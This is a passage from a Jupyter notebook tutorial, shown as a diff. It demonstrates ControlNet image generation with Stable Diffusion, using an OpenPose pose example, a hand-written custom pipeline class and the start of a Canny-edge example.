"07ad70da82f04e6c8fc64ba90f114d04", + "b09e0313ea6d461e99ee9e2778639310", + "df65632706474b4d903b8f6f72438166", + "7035d48a0c874fe7b7bd20c6b03bdf85", + "83067a7d3f454087ac1de91bf17c7339", + "d2b243b82d0641bc82bcc9500059043d", + "b20aec5624874591a63b0d0f3d4daeda", + "aa79187007a448a381f604ea8b5be0ba", + "99836b0d3c5241f99260cd642081c31f", + "99c6d5162b2d41b6b3d260f4b2c99b9b", + "13ccb78b2d7141e1a982a8bea69023d5", + "99b1e953ca924df2b6bfb0f9780d2e21", + "57420a6e093c4de9845db953b8e0269b", + "22235d8e342a47059270c8732b889d68", + "6055afd2e29c42e09d5f923c34cf1579", + "8477b0d8ae344f78ba17f537e0e2448f", + "911cafa406d2409f8ac69d9c9ae0dd94", + "589f9b88c3c746dd9aead96a6ef56fee", + "4bf53145f39644d2bf5c3e31f9f23b1a", + "65de6855b9944b829c4aa77bce39009f", + "44223dcee3694e168e866af5f69aaad4", + "7a47a1e4f4ef448e83659bf90c874eda", + "61e2139115904b94967c220fd214b5df", + "846c2df4629c416baea2612ea2c84a16", + "206b5b9596ff43b68126735ad6b31929", + "25d01861ca0c45d3a5f57932d9754834", + "847b736c058c47f9adf366c4bb920a0d", + "a1b45d2ecbe44a158b7a0e2f818922ae", + "71b5693eda974ad78235b59d848304ab", + "35aa99e07e7d469ba9a46d80bb9908bb", + "e503940faf1e47bb911a62c6e5f33fa0", + "03800bb9bc894d2592b3d01036769944", + "02fe761302934b54960a8289d627d16c", + "2db8827ffa344a4a8ac5487ff2997ae0", + "c25de7e0bae0469d918bd6d3ea39211b", + "2b5e8dcb60ee4f65af5505ffa7ea3ae2", + "9b27785afb0243f5b2298cb272c510e2", + "6ba872bd45c34e6c8202cc3722dc9285", + "4d73b627ecc74bf7ad18f5effa245097", + "35bd707e26044bd1a361c2fc2c11ea29", + "ea8e9b50f98c43b58d7faccbfd6821cb", + "940a28141ae14329831b67e91ff1091a", + "f1f865efa3a6448ea9c930a1f08c50bf", + "ede9d9c5d44146849e44c3b1476299eb", + "d8424b9018444e088fe5908db8a9db12", + "f00bbbb986ed49e79560422ba4c379c8", + "108208309c4b47aa8eee3a1321fc81ed", + "d0c00b0f105741f9a155e941dd5d704f", + "16e7c873157c444bb0ca1b92e85b4701", + "4f4bfc7bd24148e6ac524b57cc6d8020", + "2a8de4ddaf4747ceb0a153851cd765ca", + "c3e33bee752849c692d00ceabd561feb", + "97dcb5d933594743aea62d09aa27d30d", + "f17e8c0187db4242af4a803aed44fde9", + "483e47a822fe43d6ae4c114bfbb8be8a", + "c905c8d69bcb404aa39ca499c96549e3", + "bd5c5827932b4dabbac38adb33544e48", + "dddba90edf87434aa404eea38eaa63f2", + "a32f66c9b59e4ae2bca41c1c582119e7", + "e8cbb2d5adae4b439639631ea833be72", + "06f53eb5d18941d8a947bcb21676e9c7", + "455bc344fe60421da1ac931657cbd162", + "88491458b25e4ae5a66afeaae7f76c12", + "32bb55abea4f4ea2a7ea8a28a45eeb16", + "90d2a57096964b7a9e2aef14ec54e2a7", + "a526959014a644cba47969ebba62fa7c", + "ceb41aa2ac6c4c1982598a5085f7a977", + "8dd1b3d2ce124d2a92d69bb1897a078e", + "c7eafdcd51dc419c99b3248093fbfbff", + "5eca9f78607349a9893b0c88f3c53181", + "719559db7a7943fbb823795a1697a10c", + "445925a5c9da455c90fd9225ab521c1f", + "2898c9af6aea4c79a4f9e89e24275083", + "c34ca1ea918344188c3241400aa3e775", + "dd9945400a2c413589af32550427f92d", + "8328f2c010f4426fbfef22482701f516", + "edaf046faeb8459bbe937cae180bfc4e", + "8cb0f3ae820947a5984dd422b33776dd", + "ea6ed2a4fd9c49579f25b2f0e9af3f3c", + "41b442152042436ea0703d3c1181824d", + "f3af911e563d47eca89517bdc434c911", + "b5462a2b462147899d82f6b4617cf781", + "d84093973fe84b06bb05f125ab7a11bb", + "3cdb72138ffe4261a6cfcd9bcf4776c4", + "3bdc5d0f6e324afaae6d5a4aabff98d2", + "18a72653fc284d29be02e4d2a477ecdd", + "ff1597bd843b4770b93ffa71f0b05da4", + "b3bd2d853e02483080ff7dfbd5b448e0", + "55f31f27ce954a0c8c0d1e63938c7bc0", + "40ef1d0b44164265bea4eea32ce1b907", + "3da34455151b42319fc32e56afeb7959", + "1bf842268bf64cadbf2bda6da0d4a690", + "452c129fabca48efa832b81481703bab", + "6e327baf7a9144fcaff7c6317d018862", + "72d25c37112c403eaf801833a03a47b2", + "8c4e2621ec244a2db21262a8ed0e4ab7", + "965fb38eae6a45678d87fc3e24eb5241", + "0da3c6cd22da482c88af347dcbdf0d8e", + "f7dd7600e3374757bdb1dad3d2e29d4e", + "dffc9bcfd178487e93b34f91eae3b8e8", + "7016696c087c4b3d85d5928cca064add", + "f4accfef05c24411bbd0fae1f7fbf7cb", + "941873b1d19b4c2da615ed461fc6cbc7", + "6ea8901001af4f2aa0039b18f5e758a4", + "ecc46cbc78fe4d9f8af50970839d3891", + "7301b1053b6446da9756caeb59d5be8b", + "94fba57a53d04861ab5a889193d27f83", + "aafa0b9b142a44f79368f411710ea55c", + "2aeb8135603c46c1aa80e2c3580b897f", + "a2630966b93643e99721ea631339d088", + "6ca84bcd6bea4a92a80d50351aa1be4f", + "d2a03fa596c34b12a1aed264e8d08077", + "74702e35e09048eabfb470dc85fb5be4", + "4276b44c60b64716ab7ad52d8354bc1f", + "87fcb7d5949d440dbe3c18e7059e65ad", + "173d85b54dd4419883fc83cfa2beacc5", + "cd4f33b831ff4bd4afabbdec87b9bc8d", + "79b1b7bd05714b528d9a617b1c875dfe", + "d6a728463cce43d2a0c8573e5faf2dde", + "e59d5e76445943c39cdb32721727d3e8" + ] + }, + "id": "ts8fiPLordOD", + "outputId": "08a7450f-8e53-48a4-9c2d-2994353c3140" + }, + "outputs": [], + "source": [ + "# load the openpose model\n", + "openpose = OpenposeDetector.from_pretrained('lllyasviel/ControlNet')\n", + "\n", + "# load the controlnet for openpose\n", + "controlnet = ControlNetModel.from_pretrained(\n", + " \"lllyasviel/sd-controlnet-openpose\", torch_dtype=torch.float16\n", + ")\n", + "\n", + "# define stable diffusion pipeline with controlnet\n", + "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n", + " \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n", + ")\n", + "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "LPdQiPkXri1y" + }, + "outputs": [], + "source": [ + "# Remove if you do not have xformers installed\n", + "# see https://huggingface.co/docs/diffusers/v0.13.0/en/optimization/xformers#installing-xformers\n", + "# for installation instructions\n", + "pipe.enable_xformers_memory_efficient_attention()\n", + "pipe.enable_model_cpu_offload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 657 + }, + "id": "f_HH_n8WrdQN", + "outputId": "2432a1d8-cdec-4b0e-ca8e-d62ce008136e" + }, + "outputs": [], + "source": [ + "image_input = load_image(\"https://cdn.pixabay.com/photo/2016/05/17/22/19/fashion-1399344_640.jpg/")\n", + "image_input" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 785 + }, + "id": "AUJikHhlrdSX", + "outputId": "398bd929-ff3e-4f05-cad6-a3079b911d75" + }, + "outputs": [], + "source": [ + "image_pose = openpose(image_input)\n", + "image_pose" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "b5a39dc5eccf4747ade601d25681c2b2", + "1ce482eed7dd4a62b5c97b7fae38f392", + "f566fa59f127470087bb68beea6ee8fb", + "6c0b26e65230468cb5ef11d3d0bf1bd3", + "aa4097be74c3412eb9571ed6ef250828", + "f02818f8f3d54f72961c51e8fe526dc2", + "8d2da5062f414a7f8c98facdd7d2bad0", + "2fa71efbdefa4607b37d985b272fcffa", + "e20f4ef3c100484cae5ba0a570be604c", + "f48bc2b8666b4e48a6f8cad4cda2530d", + "29e96ee99a714e2c86a0d68be1a31055" + ] + }, + "id": "0MfsiN_Jri4G", + "outputId": "5286a2ac-13a3-4c35-80ab-a9968c9c8602" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"A professional photograph of a male fashion model\", image_pose, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "HEiobo68Kzso" + }, + "source": [ + "# Custom implementation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "0y9iWI9cK17f" + }, + "outputs": [], + "source": [ + "class ControlNetDiffusionPipelineCustom:\n", + " \"\"\"custom implementation of the ControlNet Diffusion Pipeline\"\"\"\n", + "\n", + " def __init__(self,\n", + " vae,\n", + " tokenizer,\n", + " text_encoder,\n", + " unet,\n", + " controlnet,\n", + " scheduler,\n", + " image_processor,\n", + " control_image_processor):\n", + "\n", + " self.vae = vae\n", + " self.tokenizer = tokenizer\n", + " self.text_encoder = text_encoder\n", + " self.unet = unet\n", + " self.scheduler = scheduler\n", + " self.controlnet = controlnet\n", + " self.image_processor = image_processor\n", + " self.control_image_processor = control_image_processor\n", + " self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n", + "\n", + "\n", + "\n", + " def get_text_embeds(self, text):\n", + " \"\"\"returns embeddings for the given `text`\"\"\"\n", + "\n", + " # tokenize the text\n", + " text_input = self.tokenizer(text,\n", + " padding='max_length',\n", + " max_length=tokenizer.model_max_length,\n", + " truncation=True,\n", + " return_tensors='pt')\n", + " # embed the text\n", + " with torch.no_grad():\n", + " text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n", + " return text_embeds\n", + "\n", + "\n", + "\n", + " def get_prompt_embeds(self, prompt):\n", + " \"\"\"returns prompt embeddings based on classifier free guidance\"\"\"\n", + "\n", + " if isinstance(prompt, str):\n", + " prompt = [prompt]\n", + " # get conditional prompt embeddings\n", + " cond_embeds = self.get_text_embeds(prompt)\n", + " # get unconditional prompt embeddings\n", + " uncond_embeds = self.get_text_embeds([''] * len(prompt))\n", + " # concatenate the above 2 embeds\n", + " prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n", + " return prompt_embeds\n", + "\n", + "\n", + " def transform_image(self, image):\n", + " \"\"\"convert image from pytorch tensor to PIL format\"\"\"\n", + "\n", + " image = self.image_processor.postprocess(image, output_type='pil')\n", + " return image\n", + "\n", + "\n", + "\n", + " def get_initial_latents(self, height, width, num_channels_latents, batch_size):\n", + " \"\"\"returns noise latent tensor of relevant shape scaled by the scheduler\"\"\"\n", + "\n", + " image_latents = torch.randn((batch_size,\n", + " num_channels_latents,\n", + " height // 8,\n", + " width // 8)).to(self.device)\n", + " # scale the initial noise by the standard deviation required by the scheduler\n", + " image_latents = image_latents * self.scheduler.init_noise_sigma\n", + " return image_latents\n", + "\n", + "\n", + "\n", + " def denoise_latents(self,\n", + " prompt_embeds,\n", + " controlnet_image,\n", + " timesteps,\n", + " latents,\n", + " guidance_scale=7.5):\n", + " \"\"\"denoises latents from noisy latent to a meaningful latent as conditioned by controlnet\"\"\"\n", + "\n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " for i, t in tqdm(enumerate(timesteps)):\n", + " # duplicate image latents to do classifier free guidance\n", + " latent_model_input = torch.cat([latents] * 2)\n", + " latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)\n", + "\n", + " control_model_input = latents\n", + " controlnet_prompt_embeds = prompt_embeds\n", + "\n", + " # get output from the control net blocks\n", + " down_block_res_samples, mid_block_res_sample = self.controlnet(\n", + " control_model_input,\n", + " t,\n", + " encoder_hidden_states=controlnet_prompt_embeds,\n", + " controlnet_cond=controlnet_image,\n", + " conditioning_scale=1.0,\n", + " return_dict=False,\n", + " )\n", + "\n", + " # predict noise residuals\n", + " with torch.no_grad():\n", + " noise_pred = self.unet(\n", + " latent_model_input,\n", + " t,\n", + " encoder_hidden_states=prompt_embeds,\n", + " down_block_additional_residuals=down_block_res_samples,\n", + " mid_block_additional_residual=mid_block_res_sample,\n", + " )['sample']\n", + "\n", + " # separate predictions for unconditional and conditional outputs\n", + " noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)\n", + "\n", + " # perform guidance\n", + " noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)\n", + "\n", + " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n", + " latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n", + "\n", + " return latents\n", + "\n", + "\n", + "\n", + " def prepare_controlnet_image(self,\n", + " image,\n", + " height,\n", + " width):\n", + " \"\"\"preprocesses the controlnet image\"\"\"\n", + "\n", + " # process the image\n", + " image = self.control_image_processor.preprocess(image, height, width).to(dtype=torch.float32)\n", + " # send image to CUDA\n", + " image = image.to(self.device)\n", + " # repeat the image for classifier free guidance\n", + " image = torch.cat([image] * 2)\n", + " return image\n", + "\n", + "\n", + "\n", + " def __call__(self,\n", + " prompt,\n", + " image,\n", + " num_inference_steps=20,\n", + " guidance_scale=7.5,\n", + " height=512, width=512):\n", + " \"\"\"generates new image based on the `prompt` and the `image`\"\"\"\n", + "\n", + " # encode input prompt\n", + " prompt_embeds = self.get_prompt_embeds(prompt)\n", + "\n", + " # prepare image for controlnet\n", + " controlnet_image = self.prepare_controlnet_image(image, height, width)\n", + " height, width = controlnet_image.shape[-2:]\n", + "\n", + " # prepare timesteps\n", + " self.scheduler.set_timesteps(num_inference_steps)\n", + " timesteps = self.scheduler.timesteps\n", + "\n", + " # prepare the initial image in the latent space (noise on which we will do reverse diffusion)\n", + " num_channels_latents = self.unet.config.in_channels\n", + " batch_size = prompt_embeds.shape[0] // 2\n", + " latents = self.get_initial_latents(height, width, num_channels_latents, batch_size)\n", + "\n", + " # denoise latents\n", + " latents = self.denoise_latents(prompt_embeds,\n", + " controlnet_image,\n", + " timesteps,\n", + " latents,\n", + " guidance_scale)\n", + "\n", + " # decode latents to get the image into pixel space\n", + " latents = latents.to(torch.float16) # change dtype of latents since\n", + " image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]\n", + "\n", + " # convert to PIL Image format\n", + " image = image.detach() # detach to remove any computed gradients\n", + " image = self.transform_image(image)\n", + "\n", + " return image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "kugjwBC3K4JK" + }, + "outputs": [], + "source": [ + "# We can get all the components from the ControlNet Diffusion Pipeline (the one implemented by Hugging Face as well)\n", + "vae = pipe.vae\n", + "tokenizer = pipe.tokenizer\n", + "text_encoder = pipe.text_encoder\n", + "unet = pipe.unet\n", + "controlnet = pipe.controlnet\n", + "scheduler = pipe.scheduler\n", + "image_processor = pipe.image_processor\n", + "control_image_processor = pipe.control_image_processor" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "6ooKnlkVK4LV" + }, + "outputs": [], + "source": [ + "custom_pipe = ControlNetDiffusionPipelineCustom(vae, tokenizer, text_encoder, unet, controlnet, scheduler, image_processor, control_image_processor)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "BYW8mEH2K4NY", + "outputId": "6e610454-e4c4-4c9d-c091-23cf9cbecec9" + }, + "outputs": [], + "source": [ + "# sample image 1\n", + "images_custom = custom_pipe(\"a fashion model wearing a beautiful dress\", image_pose, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "w4XGMCsUK4RA", + "outputId": "59e49ba7-d3c3-4fd7-bf0c-ed9ac23695dd" + }, + "outputs": [], + "source": [ + "# sample image 2\n", + "images_custom = custom_pipe(\"A male fashion model posing in a museum\", image_pose, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "GU9P7QMacZTW", + "outputId": "b3c7e3aa-04b1-47c9-e29d-a8b68457b8e8" + }, + "outputs": [], + "source": [ + "# sample image with a different prompt\n", + "images_custom = custom_pipe(\"A professional ice skater wearing a dark blue jacket around sunset, realistic, UHD\", image_pose, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "tXShSB0Fd7qd" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "9dW5PCk0d7t7" + }, + "outputs": [], + "source": [] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "fwnnyHq3oi7O" + }, + "source": [ + "# Canny" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "1L96sjJ_oi7P" + }, + "outputs": [], + "source": [ + "import cv2\n", + "from PIL import Image\n", + "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n", + "import torch\n", + "import numpy as np\n", + "from diffusers.utils import load_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 566, + "referenced_widgets": [ + "6846be1897c64311a10d421483131bf9", + "147cd6ad4d4c4fca82a7a531684ffd2a", + "6f88f6e516064ed1a82e1d69742d324c", + "9998dc803aec438ab2bbdcb1edb8ab4e", + "67f164f2226d430eb0c2cd3c63d14368", + "4fbfe981703e4365a6e944cb9f3913d5", + "ce5e2b3caef7421da3383cbdfc5b271f", + "f1a22eae63cb4eb982a02ccd11422014", + "aac46407f5d74ebbb6a58b10de9b86f4", + "713f6c4e65a5418481d59fb756bd043c", + "365b7759e93949dd891bacc424e797f3", + "9e9bd7cc85b04308b20943578ad51fa7", + "743a58e2430947808aac30953973ec71", + "600acc1527c4482fb7307f2d423a0a01", + "84f1832335f44d73b6a1a588f0e79a11", + "03264d2988b849369f26e62a0a010d51", + "a56166c024494356bc1b9a9e9a434c86", + "e404d2f75cdc4a9397c82bca53ca3fad", + "f16aa25f9d2b49cc87cde26cf7dc316f", + "a263feafcec44c2eab4150af170d670a", + "e90005c8a5664c6f80e37268666f1a9f", + "783dca59f6a54589b6fb848cb13c5f3f", + "72fb9eafc22a4533a62e3189f3b65b04", + "febabb96db10490f835e4c5f6512ea61", + "5fc991cde70546d3a665982956cca6b5", + "f5e6af9d73ed4f3d9726bffba48540ee", + "7027773c6c484afa9ee32448a320f948", + "834aa09c8e984c819849676acdf25dae", + "6224c6c1d4b145ed86564e7d62fbe4c2", + "2dc4775bcef749b7bbbb3f71d714211c", + "838cb3152f3c48ec814de02def9b75f2", + "0a6ed397228f4a1fafe9dfecc4c39ef6", + "e2eaf1b78df545feb426d75ec556f8a3", + "db3e2ef136864292b6cc51ede3713a4d", + "554525ce609044b68804e97c6b45c510", + "97dfae674a3b415d9015760abea61968", + "e4394ac60eef460e8f37fac24327ab77", + "ffd1b0965ac748a3857a947c94e192dc", + "0d45fef5bbf447938e7621e77207e1ae", + "681be606b86c42fd9cad68e63e2782de", + "a0f1a81a8d8f4e05a26d7a0a61565c53", + "7f36f3521fa14a37b0fad0702bf9a4e3", + "51b27a7dc0d34dd09b1ea17aba1fb697", + "2a8c5504fb034f608567f8d706389d79", + "ebe0534f9b4c4f92ae488a8d3e5867d6", + "e7a84d718566443bba6c79729de0518a", + "8cec2e55fc3542789938c24adb050ca9", + "5248a6e5d8044c53803426afaf2439af", + "10ae3f8453744a7e9737a9a0914dfeab", + "81b870c0f0b6482a9f1dbd3fac0d935c", + "ff464c023f0546209b15c44a39b4b75e", + "ec7bdbec2fc342f38039b8420a162a25", + "dab4d54863e24f169f18999da88be46f", + "d50a15bbc94f49c39941bacd8c7b99ba", + "a8dcc8f3435a4870a76be1729b003b6f", + "e19591097be54f3d954a75bf14968b46", + "f92c9532d4644693831a67344d499ff5", + "a283d06ba73a4fc98e18e7080e794edf", + "5837463f803c4c93b91a21d9854ae574", + "ca5bf86a004a45a6ae2067fdc6eef091", + "c389029d6e9445febf2f623921140abe", + "9eda2eb5008b4f2d8269523ee5ce2ffe", + "44bc01157b4945b7b81401f978dce8ca", + "e39e7bf535fb4492ae9ac75591e79287", + "cb157284f72d428fb786527ce87d11a2", + "24030dedd2f24e2cbfa3833249d09810", + "b3d9135383894e049a5f6f7fc77d7b5a", + "a97373cd0b29464dac7d2b3bfe3aa276", + "10bfbe36a3e24b30a6e300e852ff7811", + "af944c373890491698424b1ca1c6969b", + "3b250841cf664fcd8a57fb25d23b29ee", + "745c74b4ac1942c497d0bee51b2e7b17", + "89feac2a7b7d47388548f946fff4c862", + "6e7d3e445440469baa5aaab1cbbb9291", + "a3ca3b9ce6b24d43bdf8361379b6d502", + "b82b0f73fa4d4fc395d106930015c7a0", + "bd3c80a835d242d19fe187d65e737d6c", + "ca9e4db991b54eb986375b30bb367afa", + "4c8fa5fd3d224ce694243ea790de8986", + "b2efd56d5e834196818f46a7b287c2c3", + "3097e4c3b53e4343a9ed6860b8d3d033", + "a3fc1ea7dc724184ae564edeb2e755ba", + "28baa1ec6f3c46309c04f2c8462b1798", + "9cc4d939cc454a0da5eb7bdd234f69b5", + "058220c3342b49e0bcc1f0973566ac72", + "7db99c4ea5e14e9bb5180a5beb4cc142", + "344e28ed2fc344f4ad5ab6f62a042631", + "dc495adaeb53477d903ce952060e4f3f", + "d95e3f841d4f4f278fb3adae0b11d4c3", + "ee9448f0b9964d8fad850501e08e3c84", + "485caac1aa1641a3b31827620ddfa3e4", + "55fe364a57aa4eaa93cb93b889d241c5", + "3deaa7c9f0c940c3af3b9a7c5d0c8de4", + "93df8bff634740a29f3820042d69347f", + "373d310d37454a409b53c30e7d7d1de5", + "bcd48b3b056c4c14b6034ef32fdde5d5", + "948f2f29870b4ee7974ddad6ba18397d", + "978a0bae9c5f4ab7ac45f1f4f870fef0", + "233120cc0399483ea17284432feb16d3", + "183551cc7517479db8e0fffe634f2e6c", + "90398133563a48288ebf11cf0e0e242d", + "b6c5549bd95644ad9e553c2e59199f04", + "48ec35653f99446db9cefabe146bb2d8", + "84e8bc8164b948d8897a8637c226ef1c", + "89abbaee27c441b3ab1c656806a7e67d", + "9a46a59ffb8d44c89b067519101f7a74", + "c0771d4d9b7242c4a1b6ea8954e9e96e", + "682a337dc14e48908be4cf40f7320d1f", + "6d699038776e4fad8bb74d2381109b65", + "38dd90648c1949b196ebf27fb21436ba", + "dde9a4c3dd824b6f8345b29f2a28ef5f", + "6da0c63935ac4ee4bfe6a6efbedfa93d", + "42109c92a03c45cabd7fbb0cc7cf1c4a", + "db6ac9519e6a438ebca23446b0f2a4aa", + "8adb835bb80941dfa3e21c9dac93d793", + "e57b840c4d3c4abcae1b69b189701c72", + "304e7a7a38834b3093002b6694c7cb67", + "5056e439bb4b4bad8b0694c79138424f", + "7d6d17a2798c41c6b27c25e1057869a3", + "52a201ace1f647059d93e5d9406afee5", + "43820ed672c04bbf80155b25c4e4de15", + "b8a38cb7b914460caf5f190692f5b935", + "633f3db9f5dd4f6984aa821a1717c03b", + "c184aabb31504cbd8361a9ab06899438", + "5c428d2de97f4bc28835ead1f6331e9e", + "229a1efdf3df4fe9aac07562774b084b", + "697d6a7fa4ee4d37bb80d624ffedf526", + "c87c97a9ed4b493c8d6df7d11b1684ca", + "9ee7a0fe9750457abaf427983e5866fe", + "103ffa0973364618b4ce1d5528078062", + "b08e7b6e25c24054ac5b2b18bcb6f2ae", + "5532a6b6181a4aecbfca636813b661fd", + "4f425c415dac44b3b86aa4f481254196", + "97ffad3c1b6e4c9c9621966c028c12aa", + "3c2af8d5617b4b878b2e68f3fc7ebff6", + "8d27414ca68a4494ab3febc1c8a03025", + "10f4d1976dc04c3bb651b45c08298fab", + "eb72384f0e50444d9db03c12aca4b899", + "e7ddc52526db41e4907a2ede8dcef7c7", + "9f4a6f9a897c4db0a8d92bf01f3f820c", + "88e4029063f44ce5a7e89e8f17664eeb", + "77a73421b7ae4bfe9fcb87353a121402", + "7bee130b66754bbc85e8454455ece425", + "f61abe945b124e31a72254333f26c785", + "b1da7b0efaaf4db4a7660bc5457f2bfa", + "3e55680d33db47099479572d0c8915f2", + "c48ca8b557154fac885edaebc4879321", + "d4c261dab25d405ba560d4626683bccb", + "1daa130f38a84c6d9a4149536b21927e", + "bf14652b43264c2b884e2d19786d6f5e", + "a94d5d8411844431bb022813d14461c0", + "161da25b295b4afa8f8b88507818d052", + "fd444832eb3b4399946317b54b495d52", + "629f9b2f0b79420ba0baeb5961df73da", + "869c22e5399145dab7e36633b910abca", + "6e89b30bfcd04f1ebc77492eae365847", + "7f27d4dadc2a4c4783f35193cf085593", + "fa4ce3277cce4064aaf40849870966c1", + "d2324949415f4df2a964046b326231a4", + "4a3c28369fc14bbebdc749d0b3a5747b", + "be72ef0e4b8840608fd9160a6b43075d", + "6d8e99610d624a09a53ef0c77b3f0c25", + "b9df58ad481f414f8240ce076cf53363", + "3b2265f2c01844fb9c99e18c61344d69", + "e060cf453034447dba6af95a918e3092", + "7f49c5a346894250ad0587fa3420635a", + "c318de49fe3a455992738cf20f7099ad", + "3ff34cbabc564abebd12a9e5e19786b0", + "611bde262a924746a253ab5481b9b212", + "3ae595d0044944ea959d949d8c68d509", + "5494938bff7d4c6da3d82f1034404362", + "f05ad5aa13a040609336f0d6b2580be2", + "02648abd8847434496722b0c5bb69858", + "e3b2deb57c0644dcbf97297abf22f91c", + "7267e3d447ef4dfa97c3fc6a560ea797", + "2bc90ab8db7b4f979ff0cb5eb01284a6" + ] + }, + "id": "Dhg4rTN3oi7P", + "outputId": "f2114cf6-bbc5-4e5e-827e-e5fc0a92351e" + }, + "outputs": [], + "source": [ + "# load the controlnet model for canny edge detection\n", + "controlnet = ControlNetModel.from_pretrained(\n", + " \"lllyasviel/sd-controlnet-canny\", torch_dtype=torch.float16\n", + ")\n", + "\n", + "# load the stable diffusion pipeline with controlnet\n", + "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n", + " \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n", + ")\n", + "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "H-m6uNFCoi7P" + }, + "outputs": [], + "source": [ + "# enable efficient implementations using xformers for faster inference\n", + "pipe.enable_xformers_memory_efficient_attention()\n", + "pipe.enable_model_cpu_offload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 441 + }, + "id": "ATEwEV-6oi7Q", + "outputId": "055658c9-5ab9-4496-a407-f4a213f84bd8" + }, + "outputs": [], + "source": [ + "image_input = load_image(\"https://cdn.pixabay.com/photo/2023/06/03/16/05/spotted-laughingtrush-8037974_640.png/")\n", + "image_input = np.array(image_input)\n", + "\n", + "Image.fromarray(image_input)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 441 + }, + "id": "K2c64abboi7Q", + "outputId": "fd9de66a-d340-4b1e-bc51-7e9c96f1f80a" + }, + "outputs": [], + "source": [ + "# define parameters from canny edge detection\n", + "low_threshold = 100\n", + "high_threshold = 200\n", + "\n", + "# do canny edge detection\n", + "image_canny = cv2.Canny(image_input, low_threshold, high_threshold)\n", + "\n", + "# convert to PIL image format\n", + "image_canny = image_canny[:, :, None]\n", + "image_canny = np.concatenate([image_canny, image_canny, image_canny], axis=2)\n", + "image_canny = Image.fromarray(image_canny)\n", + "\n", + "image_canny" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 473, + "referenced_widgets": [ + "27d1ad377e6c45d7b4b1c49786438015", + "475c331703bb43adb142f6c9cc41a3bf", + "10be4b9595c84f36aeab9593e63440e6", + "645ebe129fd544a4b9383dfc1414cf0a", + "51605e182e344a94a99c50fcaaef17b1", + "c45aec98de234d3982ff83924dce8d7a", + "942ace43ed1d48aeafc6c5e17f14e034", + "51890b032fbb48139e11d69850a6db57", + "30408dcf6dd14e27bab9cc06cc664c4c", + "b539338d7bf84f50a8c57f90986a8d9a", + "d16de73052ac42e8a8065d4dc54ebe51" + ] + }, + "id": "zac6FpNwoi7Q", + "outputId": "8bf84b99-fe11-43d2-82e2-f2b35ae99d5a" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"bird\", image_canny, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 473, + "referenced_widgets": [ + "48a26564f08f43dd962464feb762c232", + "c6965bc561db4c519b751c5b7bff96a8", + "032471548f5c45ed89d8a62db800c7fc", + "0af102aac55747fcb8854b8b5ed2dd27", + "a086d1c6722547d5be5939cf4284a1ef", + "ba3cf4ae2c4e45e58abb82d2491fb7ba", + "c64f35616d8e4b4bb129bc7aaa4ae889", + "01fc82bb9bb84c628890b9a2349a6e6e", + "f66573653707458f80b29a40e1193d31", + "7b0ece2c75614540a942214d1f527f91", + "0d3e1914b85047c7af6b6bd4fd94e197" + ] + }, + "id": "DXrdLeZrplMW", + "outputId": "31bb0440-493a-4ee8-edc0-23c090f679c4" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"a cute blue 